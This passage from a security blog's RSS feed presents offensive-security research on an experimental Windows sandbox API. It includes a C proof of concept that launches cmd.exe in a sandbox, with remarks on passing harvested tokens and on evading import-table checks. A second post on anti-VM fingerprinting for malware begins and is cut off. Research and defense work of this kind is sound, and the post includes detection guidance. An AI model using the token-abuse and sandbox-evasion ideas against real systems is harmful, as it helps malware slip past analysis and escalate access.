            <guid isPermaLink="false">https://medium.com/p/bcb5fc1bb18c</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[redteam-tool]]></category>
            <dc:creator><![CDATA[Ialle Teixeira]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 12:09:41 GMT</pubDate>
            <atom:updated>2026-09-25T12:09:41.713Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>The new Windows composable sandbox: CreateProcessInSandbox, FlatBuffers and the death of classic CreateProcess tricks</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/0*MJ_hObPTLg6ey5Lc" /></figure><h4>Context: why Microsoft is building a sandbox into the operating system itself</h4><p>For years, anyone who wanted to run untrusted code on Windows had two options, both problematic. The first is <strong>AppContainer</strong> (NtCreateLowBoxToken and related functions), which has existed since Windows 8: it reduces the process token to an LPAC with explicit capability SIDs and isolates network and filesystem access by default. The second is to assemble containment manually, combining CreateRestrictedToken, Job Objects with JOB_OBJECT_UILIMIT_*, process mitigations, and DACLs, a lengthy task that is easy to get wrong and difficult to audit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G_gwtic2gBD6dOyJJpJb4w.png" /></figure><p>What changed in 2026 is that Microsoft began treating containment as <strong>declarative configuration</strong>. Instead of having developers assemble attribute lists, generate capability SIDs, and apply ACEs, the processmodel subsystem accepts a <strong>FlatBuffer blob</strong> describing the entire policy, and the sandbox engine (SandboxEngine) translates that blob into an AppContainer/LPAC token, mitigations, UI restrictions, and ACLs. Public documentation for this interface appeared in <a href="https://learn.microsoft.com/en-us/windows/win32/secAuthz/createprocessinsandbox">Create Process In Sandbox APIs</a> (a page marked ms.date: 6/1/2026), and the <a href="https://github.com/microsoft/mxc">microsoft/mxc</a> project the &quot;Microsoft Execution Container,&quot; open-sourced at Build 2026 under the MIT license uses these functions as one of its Windows containment backends.</p><p>For offensive security practitioners, this is a new surface and, as we will see, one with plenty of interesting edges: an obscure DLL with no public header, a binary format an attacker controls, an “AsUser” path that accepts an arbitrary token, and an explicit mitigation against impersonation. Let us take it step by step.</p><h3>The API</h3><p>The documentation describes <strong>two</strong> functions, both exported by processmodel.dll and marked as <em>experimental</em> (subject to change). They are the sandboxed equivalents of CreateProcess and CreateProcessAsUser:</p><pre>BOOL Experimental_CreateProcessInSandbox(<br>    _In_opt_  LPCWSTR                applicationName,<br>    _Inout_opt_ LPWSTR               commandLine,<br>    _In_opt_  LPSECURITY_ATTRIBUTES  processAttributes,      // Reserved<br>    _In_opt_  LPSECURITY_ATTRIBUTES  threadAttributes,       // Reserved<br>    BOOL                             inheritHandles,          // Reserved<br>    DWORD                            creationFlags,<br>    _In_opt_  LPVOID                 environment,<br>    _In_opt_  LPCWSTR                currentDirectory,<br>    _In_      LPSTARTUPINFOW         startupInfo,<br>    _In_      LPCWSTR                identity,<br>    _In_reads_bytes_(sandboxSpecificationSize) LPCVOID sandboxSpecification,<br>    DWORD                            sandboxSpecificationSize,<br>    _Out_     LPPROCESS_INFORMATION  processInformation<br>);<br><br>BOOL Experimental_CreateProcessAsUserInSandbox(<br>    _In_      HANDLE                 token,                  // primary token<br>    _In_opt_  LPCWSTR                applicationName,<br>    /* ...remaining parameters are identical... */<br>    _Out_     LPPROCESS_INFORMATION  processInformation<br>);</pre><p>Three details stand out immediately. First, <strong>there is no public header</strong>: the Learn requirements table explicitly lists Header: Not publicly available (use GetProcAddress). This is unusual and means that any code using the API must resolve its symbols at runtime which, in turn, leaves the binary&#39;s import table &quot;clean.&quot; Second, three parameters are reserved solely for future compatibility and <strong>must</strong> be NULL, NULL, and FALSE (processAttributes, threadAttributes, inheritHandles); passing any other value returns ERROR_NOT_SUPPORTED. Third, and more interestingly, the identity parameter controls the process identity: it becomes the AppContainer profile name and determines the identity SID in the token.</p><p>The rules for identity are strict and revealing. It must be unique (two sandboxes with the same identity share an AppContainer profile and therefore the filesystem and network permissions derived from it), and it <strong>must not collide with the package family name of an installed MSIX package</strong>. If it does, the engine rejects the call with E_ACCESSDENIED, specifically to prevent a sandboxed process from inheriting permissions intended for an installed application. The documentation also records a <em>developer bypass</em>: this check is skipped when the system has Developer Mode enabled, Secure Boot disabled, and Test Signing enabled. In other words, a target in this development configuration relaxes precisely the one control that prevents hijacking the identity of a trusted package.</p><p>It is also worth recording an ongoing evolution. The &quot;SBOX&quot; blob described here is the legacy <strong>one-shot</strong> contract; MXC already includes a second, <strong>two-phase</strong> contract called <strong>PSEC</strong> (ProcessSecurityEnvironment, file identifier &quot;PSEC&quot;), exposed through CreateProcessSecurityEnvironment. In MXC&#39;s code, the &quot;BaseContainer&quot; backend <strong>prefers PSEC</strong> and only falls back to Experimental_CreateProcessInSandbox when PSEC is unavailable or cannot represent the requested policy. For anyone writing about this, the SBOX/PSEC pair tells the story of how Microsoft is maturing the feature.</p><h4>The sandboxSpecification: a FlatBuffer called “SBOX”</h4><p>The binary blob is the heart of the API. The documentation says only that it is a FlatBuffer with the file identifier &quot;SBOX&quot;, conforming to the SandboxSpec.fbs schema a schema that is <strong>not</strong> published. It does, however, appear in version control in the MXC repository as external/windows-sdk/BaseContainerSpecification.fbs, described as a <em>vendored</em> copy from the Windows source tree itself. Reconstructed and extended with the fields documented by Learn, the schema is essentially as follows:</p><pre>namespace SandboxTechSpecLayout;<br><br>enum IntegrityLevel : byte { system_default, inherit, untrusted, low, medium, high }<br><br>table SandboxSpec {<br>    version:string (required);          // must be &quot;0.1.0&quot; -&gt; otherwise ERROR_NOT_SUPPORTED<br>    app_container:bool = false;         // enables AppContainer isolation<br>    integrity_level:uint32 = 0 (deprecated);<br>    disallow_win32k_system_calls:bool = false;   // DisallowWin32kSystemCalls<br>    ui_restrictions:uint64 = 0;         // bitmask JOB_OBJECT_UILIMIT_*<br>    least_privilege:bool = false;       // removes privileges (WIN://NOALLAPPPKG)<br>    capabilities:string;                // &quot;internetClient,registryRead&quot;<br>    fs_read_write:[string];<br>    fs_read_only:[string];<br>    network_policy:NetworkPolicy;<br>    integrity:IntegrityLevel = system_default;<br>    fs_deny:[string];<br>}<br><br>table proxy_info { url:string; }<br>enum FilterAction : byte { deny, allow }<br>enum IpProtocol : byte { any, tcp, udp, icmpv4, icmpv6 }<br>table ip_subnet { address:string; prefix_length:ubyte = 0; }<br>table destination_rule { subnet:ip_subnet; except:[ip_subnet]; }<br>table port_rule { protocol:IpProtocol = any; port:uint16 = 0; end_port:uint16 = 0; }<br>table endpoint_rule { destinations:[destination_rule]; ports:[port_rule]; }<br>table endpoint_policy {<br>    default_action:FilterAction = deny;<br>    allow:[endpoint_rule];<br>    deny:[endpoint_rule];<br>}<br>table NetworkPolicy {<br>    proxy:proxy_info;<br>    egress:endpoint_policy;<br>    allowed_appcontainer_peer:string;<br>}<br><br>root_type SandboxSpec;<br>file_identifier &quot;SBOX&quot;;</pre><p>Because the format is binary, the natural way to produce it is to describe the policy in JSON and compile it with flatc:</p><pre>{<br>  &quot;version&quot;: &quot;0.1.0&quot;,<br>  &quot;app_container&quot;: true,<br>  &quot;disallow_win32k_system_calls&quot;: true,<br>  &quot;least_privilege&quot;: true,<br>  &quot;capabilities&quot;: &quot;internetClient,registryRead&quot;,<br>  &quot;fs_read_write&quot;: [&quot;C:\\Users\\Public\\SandboxWork&quot;],<br>  &quot;fs_read_only&quot;: [&quot;C:\\Windows\\System32&quot;],<br>  &quot;fs_deny&quot;: [&quot;C:\\Users&quot;],<br>  &quot;integrity&quot;: &quot;low&quot;,<br>  &quot;network_policy&quot;: {<br>    &quot;proxy&quot;: { &quot;url&quot;: &quot;http://127.0.0.1:8080&quot; },<br>    &quot;egress&quot;: {<br>      &quot;default_action&quot;: &quot;deny&quot;,<br>      &quot;allow&quot;: [{<br>        &quot;destinations&quot;: [{ &quot;subnet&quot;: { &quot;address&quot;: &quot;140.82.112.0&quot;, &quot;prefix_length&quot;: 20 } }],<br>        &quot;ports&quot;: [{ &quot;protocol&quot;: &quot;tcp&quot;, &quot;port&quot;: 443 }]<br>      }]<br>    }<br>  }<br>}</pre><p>Notice the size: <strong>384 bytes</strong> describe integrity, capabilities, three filesystem policies, a proxy, and an egress rule with a subnet and port. The format is compact, and the first bytes confirm the expected wire contract the offset to the root table followed by the magic identifier:</p><blockquote>24 00 00 00 53 42 4f 58 -&gt; uoffset = 0x24, “SBOX”</blockquote><h4>The PoC: calling the API through GetProcAddress</h4><p>Since there is no header, the PoC declares the prototypes manually and resolves the symbols at runtime. We also use LOAD_LIBRARY_SEARCH_SYSTEM32 to load processmodel.dll instead of relying on the default search: because the DLL is a system component, restricting the search to System32 prevents a copy planted beside the executable from being loaded in its place.</p><pre>typedef BOOL (WINAPI *PFN_Experimental_CreateProcessInSandbox)(<br>    LPCWSTR applicationName, LPWSTR commandLine,<br>    LPSECURITY_ATTRIBUTES processAttributes,   /* reserved -&gt; NULL  */<br>    LPSECURITY_ATTRIBUTES threadAttributes,    /* reserved -&gt; NULL  */<br>    BOOL inheritHandles,                       /* reserved -&gt; FALSE */<br>    DWORD creationFlags, LPVOID environment, LPCWSTR currentDirectory,<br>    LPSTARTUPINFOW startupInfo, LPCWSTR identity,<br>    LPCVOID sandboxSpecification, DWORD sandboxSpecificationSize,<br>    LPPROCESS_INFORMATION processInformation);<br><br>static void *resolve_export(HMODULE mod, const char *name)<br>{<br>    return (void *)GetProcAddress(mod, name);<br>}<br><br>HMODULE mod = LoadLibraryExW(L&quot;processmodel.dll&quot;, NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);<br>if (!mod) { /* build without the experimental API */ }<br><br>PFN_Experimental_CreateProcessInSandbox pfn =<br>    (PFN_Experimental_CreateProcessInSandbox)<br>        resolve_export(mod, &quot;Experimental_CreateProcessInSandbox&quot;);</pre><p>Once the pointer is resolved, the call becomes almost identical to a modern CreateProcess call except for the two parameters near the end that carry the entire policy:</p><pre>STARTUPINFOW si = { 0 }; si.cb = sizeof(si);<br>PROCESS_INFORMATION pi = { 0 };<br><br>BOOL ok = pfn(<br>    L&quot;C:\\Windows\\System32\\cmd.exe&quot;,  /* applicationName   */<br>    NULL,                               /* commandLine       */<br>    NULL, NULL, FALSE,                   /* reserved        */<br>    0,                                   /* creationFlags     */<br>    NULL, NULL, &amp;si,                     /* env, cwd, startup */<br>    L&quot;PoC_Sandbox_0001&quot;,                 /* identity          */<br>    g_min_sbox, G_MIN_SBOX_SIZE,         /* blob &quot;SBOX&quot;       */<br>    &amp;pi);</pre><pre>/*<br> * poc_createprocessinsandbox.c<br> *<br> * Proof of concept for the experimental Windows &quot;composable sandbox&quot; APIs:<br> *<br> *     Experimental_CreateProcessInSandbox<br> *     Experimental_CreateProcessAsUserInSandbox        (exported from processmodel.dll)<br> *<br> * Neither function has a public header, so both are resolved at runtime with<br> * GetProcAddress(). The containment policy is passed as a compiled FlatBuffers<br> * blob whose file identifier is &quot;SBOX&quot; (see SandboxSpec.fbs in this directory).<br> *<br> * Build (MinGW-w64, cross-compile from Linux):<br> *     x86_64-w64-mingw32-gcc -O2 -Wall -Wextra -municode \<br> *         -o poc_createprocessinsandbox.exe \<br> *         poc_createprocessinsandbox.c -ladvapi32 -luser32<br> *<br> * Build (MSVC):<br> *     cl /W4 /O2 poc_createprocessinsandbox.c advapi32.lib user32.lib<br> *<br> * Run (Windows 11, experimental build):<br> *     poc_createprocessinsandbox.exe            # InSandbox path, spawns cmd.exe<br> *     poc_createprocessinsandbox.exe --asuser   # AsUser path, self-token priming<br> *<br> * EDUCATIONAL / RESEARCH USE. This targets a documented-Experimental surface that<br> * is subject to change; it performs no exploitation on its own.<br> */<br><br>#ifndef UNICODE<br>#define UNICODE<br>#endif<br>#ifndef _UNICODE<br>#define _UNICODE<br>#endif<br><br>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;wchar.h&gt;<br><br>#include &quot;min_spec_blob.h&quot; /* g_min_sbox[] / G_MIN_SBOX_SIZE, produced by flatc + gen_blob_header.py */<br><br> /* ------------------------------------------------------------------ */<br> /* 1. Runtime signatures (headers are not public)                      */<br> /* ------------------------------------------------------------------ */<br><br>typedef BOOL(WINAPI *PFN_Experimental_CreateProcessInSandbox)(<br>    LPCWSTR                applicationName,<br>    LPWSTR                 commandLine,<br>    LPSECURITY_ATTRIBUTES  processAttributes,      /* reserved, must be NULL  */<br>    LPSECURITY_ATTRIBUTES  threadAttributes,       /* reserved, must be NULL  */<br>    BOOL                   inheritHandles,         /* reserved, must be FALSE */<br>    DWORD                  creationFlags,<br>    LPVOID                 environment,<br>    LPCWSTR                currentDirectory,<br>    LPSTARTUPINFOW         startupInfo,<br>    LPCWSTR                identity,               /* AppContainer profile name */<br>    LPCVOID                sandboxSpecification,   /* FlatBuffer &quot;SBOX&quot; blob  */<br>    DWORD                  sandboxSpecificationSize,<br>    LPPROCESS_INFORMATION  processInformation);<br><br>typedef BOOL(WINAPI *PFN_Experimental_CreateProcessAsUserInSandbox)(<br>    HANDLE                 token,                  /* primary token of the target user */<br>    LPCWSTR                applicationName,<br>    LPWSTR                 commandLine,<br>    LPSECURITY_ATTRIBUTES  processAttributes,      /* reserved, must be NULL  */<br>    LPSECURITY_ATTRIBUTES  threadAttributes,       /* reserved, must be NULL  */<br>    BOOL                   inheritHandles,         /* reserved, must be FALSE */<br>    DWORD                  creationFlags,<br>    LPVOID                 environment,<br>    LPCWSTR                currentDirectory,<br>    LPSTARTUPINFOW         startupInfo,<br>    LPCWSTR                identity,<br>    LPCVOID                sandboxSpecification,<br>    DWORD                  sandboxSpecificationSize,<br>    LPPROCESS_INFORMATION  processInformation);<br><br>/* ------------------------------------------------------------------ */<br> /* 2. Small helpers                                                    */<br> /* ------------------------------------------------------------------ */<br><br>static void print_last_error(const wchar_t *what)<br>{<br>    DWORD err = GetLastError();<br>    wchar_t *msg = NULL;<br><br>    /* E_INVALIDARG / E_ACCESSDENIED are HRESULTs; format as both. */<br>    FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM |<br>        FORMAT_MESSAGE_IGNORE_INSERTS,<br>        NULL, err, 0, (LPWSTR)&amp;msg, 0, NULL);<br><br>    wprintf(L&quot;[-] %ls failed: GetLastError() = 0x%08lX (HRESULT 0x%08lX) %ls\n&quot;,<br>        what, (unsigned long)err, (unsigned long)err, msg ? msg : L&quot;&quot;);<br>    if (msg) {<br>        LocalFree(msg);<br>    }<br>}<br><br>/* Resolve an export without triggering -Wcast-function-type / -Wstrict-aliasing. */<br>static void *resolve_export(HMODULE mod, const char *name)<br>{<br>    return (void *)GetProcAddress(mod, name);<br>}<br><br>/*<br> * The sandbox spec the engine actually validates. A hand-built blob is fine, but<br> * generating it with flatc keeps it in sync with SandboxSpec.fbs:<br> *<br> *     flatc --binary SandboxSpec.fbs sandbox_spec.json      # -&gt; sandbox_spec.bin<br> *     python3 gen_blob_header.py sandbox_spec.bin g_sbox &gt; spec_blob.h<br> */<br>static LPCVOID sandbox_spec_blob(DWORD *out_size)<br>{<br>    *out_size = G_MIN_SBOX_SIZE;<br>    return (LPCVOID)g_min_sbox;<br>}<br><br>/* ------------------------------------------------------------------ */<br> /* 3. Path A: plain Experimental_CreateProcessInSandbox               */<br> /* ------------------------------------------------------------------ */<br><br>static int run_in_sandbox(void)<br>{<br>    HMODULE mod;<br>    PFN_Experimental_CreateProcessInSandbox pfn;<br>    STARTUPINFOW si;<br>    PROCESS_INFORMATION pi;<br>    DWORD spec_size = 0;<br>    LPCVOID spec = sandbox_spec_blob(&amp;spec_size);<br>    DWORD rc;<br><br>    /*<br>     * processmodel.dll is a system DLL: prefer LOAD_LIBRARY_SEARCH_SYSTEM32 so<br>     * a DLL dropped next to the binary cannot shadow it.<br>     */<br>    mod = LoadLibraryExW(L&quot;processmodel.dll&quot;, NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);<br>    if (mod == NULL) {<br>        print_last_error(L&quot;LoadLibraryExW(processmodel.dll)&quot;);<br>        wprintf(L&quot;[!] This is expected on builds that predate the experimental API.\n&quot;);<br>        return 1;<br>    }<br><br>    pfn = (PFN_Experimental_CreateProcessInSandbox)<br>        resolve_export(mod, &quot;Experimental_CreateProcessInSandbox&quot;);<br>    if (pfn == NULL) {<br>        print_last_error(L&quot;GetProcAddress(Experimental_CreateProcessInSandbox)&quot;);<br>        FreeLibrary(mod);<br>        return 1;<br>    }<br>    wprintf(L&quot;[+] Resolved Experimental_CreateProcessInSandbox @ %p\n&quot;, (void *)pfn);<br><br>    ZeroMemory(&amp;si, sizeof(si));<br>    si.cb = sizeof(si);<br>    ZeroMemory(&amp;pi, sizeof(pi));<br><br>    /*<br>     * identity becomes the AppContainer profile name and decides the process<br>     * identity SID. It must be unique and must NOT collide with an installed<br>     * MSIX package family name, or the engine returns E_ACCESSDENIED.<br>     */<br>    rc = pfn(<br>        L&quot;C:\\Windows\\System32\\cmd.exe&quot;,<br>        NULL,                       /* commandLine: use applicationName as-is */<br>        NULL,                       /* processAttributes: reserved -&gt; MUST be NULL */<br>        NULL,                       /* threadAttributes:  reserved -&gt; MUST be NULL */<br>        FALSE,                      /* inheritHandles:    reserved -&gt; MUST be FALSE */<br>        0,                          /* creationFlags */<br>        NULL,                       /* environment: inherit caller&#39;s */<br>        NULL,                       /* currentDirectory */<br>        &amp;si,<br>        L&quot;PoC_Sandbox_0001&quot;,        /* identity */<br>        spec,<br>        spec_size,<br>        &amp;pi);<br><br>    if (!rc) {<br>        print_last_error(L&quot;Experimental_CreateProcessInSandbox&quot;);<br>        /* Map the documented failure modes to a readable hint. */<br>        switch (GetLastError()) {<br>        case ERROR_NOT_SUPPORTED:<br>            wprintf(L&quot;[!] ERROR_NOT_SUPPORTED: spec version != \&quot;0.1.0\&quot;, or a reserved\n&quot;<br>                L&quot;    parameter (processAttributes/threadAttributes/inheritHandles) was set.\n&quot;);<br>            break;<br>        case ERROR_INVALID_DATA:<br>            wprintf(L&quot;[!] ERROR_INVALID_DATA: FlatBuffer verification failed (bad SBOX blob).\n&quot;);<br>            break;<br>        case ERROR_INVALID_PARAMETER: /* E_INVALIDARG */<br>            wprintf(L&quot;[!] E_INVALIDARG: NULL startupInfo/identity/processInformation, or a\n&quot;<br>                L&quot;    capability/filesystem/proxy field was set without app_container=true.\n&quot;);<br>            break;<br>        case ERROR_ACCESS_DENIED: /* E_ACCESSDENIED */<br>            wprintf(L&quot;[!] E_ACCESSDENIED: identity collides with an installed MSIX package,\n&quot;<br>                L&quot;    the caller is itself an AppContainer, or the requested integrity level\n&quot;<br>                L&quot;    is higher than the caller&#39;s.\n&quot;);<br>            break;<br>        case ERROR_NOT_SAME_OBJECT:<br>            wprintf(L&quot;[!] ERROR_NOT_SAME_OBJECT: caller thread token != process token\n&quot;<br>                L&quot;    (impersonation is active). Revert to self first.\n&quot;);<br>            break;<br>        case ERROR_NOT_FOUND:<br>            wprintf(L&quot;[!] ERROR_NOT_FOUND: a capability name could not be resolved.\n&quot;);<br>            break;<br>        default:<br>            break;<br>        }<br>        FreeLibrary(mod);<br>        return 1;<br>    }<br><br>    wprintf(L&quot;[+] Sandboxed process created. PID=%lu TID=%lu\n&quot;,<br>        (unsigned long)pi.dwProcessId, (unsigned long)pi.dwThreadId);<br>    wprintf(L&quot;[*] Verify with Process Explorer: Security tab should show the\n&quot;<br>        L&quot;    AppContainer name \&quot;PoC_Sandbox_0001\&quot; and a Low integrity token.\n&quot;);<br><br>    WaitForSingleObject(pi.hProcess, 5000);<br>    CloseHandle(pi.hThread);<br>    CloseHandle(pi.hProcess);<br>    FreeLibrary(mod);<br>    return 0;<br>}<br><br>/* ------------------------------------------------------------------ */<br> /* 4. Path B: Experimental_CreateProcessAsUserInSandbox (token priming)*/<br> /* ------------------------------------------------------------------ */<br><br>static int run_as_user_in_sandbox(void)<br>{<br>    HMODULE mod;<br>    PFN_Experimental_CreateProcessAsUserInSandbox pfn;<br>    HANDLE token = NULL;<br>    STARTUPINFOW si;<br>    PROCESS_INFORMATION pi;<br>    DWORD spec_size = 0;<br>    LPCVOID spec = sandbox_spec_blob(&amp;spec_size);<br><br>    mod = LoadLibraryExW(L&quot;processmodel.dll&quot;, NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);<br>    if (mod == NULL) {<br>        print_last_error(L&quot;LoadLibraryExW(processmodel.dll)&quot;);<br>        return 1;<br>    }<br><br>    pfn = (PFN_Experimental_CreateProcessAsUserInSandbox)<br>        resolve_export(mod, &quot;Experimental_CreateProcessAsUserInSandbox&quot;);<br>    if (pfn == NULL) {<br>        print_last_error(L&quot;GetProcAddress(Experimental_CreateProcessAsUserInSandbox)&quot;);<br>        FreeLibrary(mod);<br>        return 1;<br>    }<br>    wprintf(L&quot;[+] Resolved Experimental_CreateProcessAsUserInSandbox @ %p\n&quot;, (void *)pfn);<br><br>    /*<br>     * A primary token is required (TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY).<br>     * Here we prime with our own token; a red-team variant would duplicate a token<br>     * harvested from another user (DuplicateTokenEx) and pass it here.<br>     */<br>    if (!OpenProcessToken(GetCurrentProcess(),<br>        TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,<br>        &amp;token)) {<br>        print_last_error(L&quot;OpenProcessToken&quot;);<br>        FreeLibrary(mod);<br>        return 1;<br>    }<br><br>    ZeroMemory(&amp;si, sizeof(si));<br>    si.cb = sizeof(si);<br>    ZeroMemory(&amp;pi, sizeof(pi));<br><br>    if (!pfn(token, L&quot;C:\\Windows\\System32\\cmd.exe&quot;, NULL,<br>        NULL, NULL, FALSE, 0, NULL, NULL, &amp;si,<br>        L&quot;PoC_Sandbox_AsUser_0001&quot;, spec, spec_size, &amp;pi)) {<br>        print_last_error(L&quot;Experimental_CreateProcessAsUserInSandbox&quot;);<br>        /* A NULL token reports E_HANDLE rather than E_INVALIDARG. */<br>        if (GetLastError() == ERROR_INVALID_HANDLE) {<br>            wprintf(L&quot;[!] E_HANDLE: the token parameter was NULL.\n&quot;);<br>        }<br>        CloseHandle(token);<br>        FreeLibrary(mod);<br>        return 1;<br>    }<br><br>    wprintf(L&quot;[+] AS-USER sandboxed process created. PID=%lu\n&quot;,<br>        (unsigned long)pi.dwProcessId);<br>    WaitForSingleObject(pi.hProcess, 5000);<br>    CloseHandle(pi.hThread);<br>    CloseHandle(pi.hProcess);<br>    CloseHandle(token);<br>    FreeLibrary(mod);<br>    return 0;<br>}<br><br>/* ------------------------------------------------------------------ */<br> /* 5. Entry point                                                      */<br> /* ------------------------------------------------------------------ */<br><br>int wmain(int argc, wchar_t **argv)<br>{<br>    int as_user = (argc &gt; 1 &amp;&amp; wcscmp(argv[1], L&quot;--asuser&quot;) == 0);<br><br>    wprintf(L&quot;=== Experimental composable-sandbox PoC ===\n&quot;);<br>    if (as_user) {<br>        wprintf(L&quot;[*] Path: Experimental_CreateProcessAsUserInSandbox (self-token priming)\n&quot;);<br>        return run_as_user_in_sandbox();<br>    }<br>    wprintf(L&quot;[*] Path: Experimental_CreateProcessInSandbox\n&quot;);<br>    return run_in_sandbox();<br>}</pre><p>processmodel.dll is <strong>not</strong> in the import table it is loaded only at runtime, exactly as the documentation instructs. This is a case study in how a new, legitimate system interface ends up sharing the same static signature as a classic evasion technique. <em>(Methodology note: the PoC was compiled and checked for warnings and imports, but it was not executed the analysis sandbox is not a Windows 11 system with the experimental API available.)</em></p><h4>A direct comparison with classic AppContainer</h4><p>It is worth setting out the before and after. Classic AppContainer requires the developer to create the profile, derive the LPAC SID with NtCreateLowBoxToken, generate capability SIDs with DeriveCapabilitySidsFromName, assemble the SECURITY_CAPABILITIES structure, populate STARTUPINFOEXW with PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, and apply DACLs manually. The new path replaces all of that with <strong>one blob</strong>. The same JOB_OBJECT_UILIMIT_* bitmask used in the manual approach also appears inside the FlatBuffer, as does the same DisallowWin32kSystemCalls mitigation showing that the change is in the <em>interface</em>, not the mechanism.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*K-QSJ6bKFDVxsJHcuJ4SRQ.png" /></figure><h4>Detection and defense</h4><p>On the defensive side, the signals are useful because the mechanics are new and distinguishable. In process telemetry, look for tokens with an AppContainer profile whose name does <strong>not</strong> match an installed MSIX package this is the direct artifact of an identity chosen by a caller. Also check for a newly created AppContainer profile accompanied by Low integrity and the DisallowWin32kSystemCalls mitigation in the same process, an unusual combination in legitimate software. Because the API is resolved through GetProcAddress, the relevant behavior is the <strong>runtime loading of </strong><strong>processmodel.dll</strong> by processes other than the expected hosts and the absence of the symbol from the import table should not be treated as evidence of safety. Finally, the <em>developer bypass</em> of the MSIX check (Developer Mode + Secure Boot off + Test Signing on) is a risk condition that deserves explicit monitoring and alerting, since it removes the only barrier against hijacking a trusted package&#39;s permissions.</p><h4>Conclusion</h4><p>The Windows composable sandbox is one of the most interesting surfaces of 2026 for offensive security writers, for three reasons. First, it is <strong>documented but not mature</strong>: the Experimental_ prefix, the &quot;subject to change&quot; warning, and the fact that a threat model for nested composition does not yet exist make it clear that we are looking at something still taking shape the best time to document it. Second, it <strong>moves policy into data</strong>: SandboxSpec turns a containment decision into a binary blob controlled by the caller, and that is where the entire abuse surface emerges (identity, capabilities, proxy, token). Third, it <strong>introduces mitigations that deserve a study of their own </strong>particularly the ERROR_NOT_SAME_OBJECT rule, which closes the classic &quot;impersonate and spawn a process&quot; path within this API.</p><p>The SBOX/PSEC pair in MXC tells the rest of the story: an evolving interface, with a legacy one-shot contract and a modern two-phase contract, both consuming the same declarative policy. For anyone building or attacking this kind of infrastructure, it offers a privileged, firsthand, open-source view of how an operating system vendor intends to contain code it did not write, well before the polished version reaches the public.</p><h3>References</h3><ul><li>Microsoft Learn <a href="https://learn.microsoft.com/en-us/windows/win32/secAuthz/createprocessinsandbox">Create Process In Sandbox APIs</a></li><li>MicrosoftDocs/win32 <a href="https://github.com/MicrosoftDocs/win32/blob/e103fa4e8810bd8d42c4777e17081e24dbe62dbd/desktop-src/SecAuthZ/createprocessinsandbox.md">createprocessinsandbox.md (commit e103fa4e)</a></li><li>microsoft/mxc <a href="https://github.com/microsoft/mxc">Microsoft eXecution Container</a> (external/windows-sdk/BaseContainerSpecification.fbs)</li><li>Microsoft Learn <a href="https://learn.microsoft.com/en-us/windows/win32/secauthz/appcontainer-isolation">AppContainer Isolation</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bcb5fc1bb18c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fingerprinting Hypervisors through Windows Plug and Play Topology]]></title>
            <link>https://debugactiveprocess.medium.com/fingerprinting-hypervisors-through-windows-plug-and-play-topology-455df451e7f4?source=rss-e02d10b8090e------2</link>
            <guid isPermaLink="false">https://medium.com/p/455df451e7f4</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cpp-programming]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Ialle Teixeira]]></dc:creator>
            <pubDate>Fri, 24 Jul 2026 13:09:28 GMT</pubDate>
            <atom:updated>2026-07-24T13:30:14.407Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*A8EGvv_ZT3Z620eZ.jpg" /></figure><blockquote>Leveraging SetupAPI and DEVPROPKEY for Indirect Virtualization Detection</blockquote><p>Virtual machine detection has long been a fundamental topic in malware development, digital forensics, and sandbox research. Over the past two decades, countless techniques have been proposed, ranging from CPUID inspection and hypervisor bit verification to SMBIOS artifacts, virtual device drivers, registry analysis, timing attacks, and vendor-specific signatures.</p><p>The problem is that nearly all of these techniques share the same assumption: they were intentionally designed to identify virtualization. Consequently, modern hypervisors and enterprise sandboxes have progressively evolved to conceal these indicators, exposing synthetic hardware that closely resembles physical machines or actively masking well-known artifacts.</p><p>This defensive evolution has significantly reduced the effectiveness of traditional anti-VM techniques.</p><p>A much less explored approach is to inspect Windows subsystems that were never intended to identify virtualized environments. Instead of querying explicit virtualization indicators, these interfaces expose information required by the operating system itself to manage hardware resources. As a side effect, they reveal structural characteristics that can indirectly distinguish physical machines from virtual ones.</p><p>One particularly interesting candidate is the Windows Plug and Play infrastructure. This article explores how <strong>SetupAPI</strong> and <strong>DEVPROPKEY</strong> can be leveraged to fingerprint hardware topology, demonstrating that virtualization can often be inferred without checking a single VMware, VirtualBox, Hyper-V or QEMU artifact.</p><h3>Why Another Anti-VM Technique?</h3><p>Traditional anti-VM techniques are generally signature-based.</p><p>Typical examples include:</p><ul><li>Checking the Hypervisor CPUID bit</li><li>Looking for VMware registry keys</li><li>Searching for VirtualBox drivers</li><li>Enumerating virtual MAC address prefixes</li><li>Reading SMBIOS manufacturer strings</li><li>Looking for VBoxService or vmtoolsd processes</li></ul><p>Although effective against poorly configured virtual machines, these techniques are also trivial to detect, emulate or bypass. A fundamentally different strategy consists of asking a different question.</p><p>Instead of asking:</p><blockquote><strong><em>“Am I running inside VMware?”</em></strong></blockquote><p>we ask:</p><blockquote><strong><em>“Does this system exhibit the complexity expected from a real physical computer?”</em></strong></blockquote><p>This subtle shift completely changes the detection model. Rather than searching for virtualization artifacts, we measure the richness of the underlying hardware ecosystem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5UC1rK_VUC_Nxjveu2yBIg.png" /></figure><h3>Understanding SetupAPI</h3><p>SetupAPI is one of the oldest Windows libraries responsible for Plug and Play device management. Internally, Device Manager relies 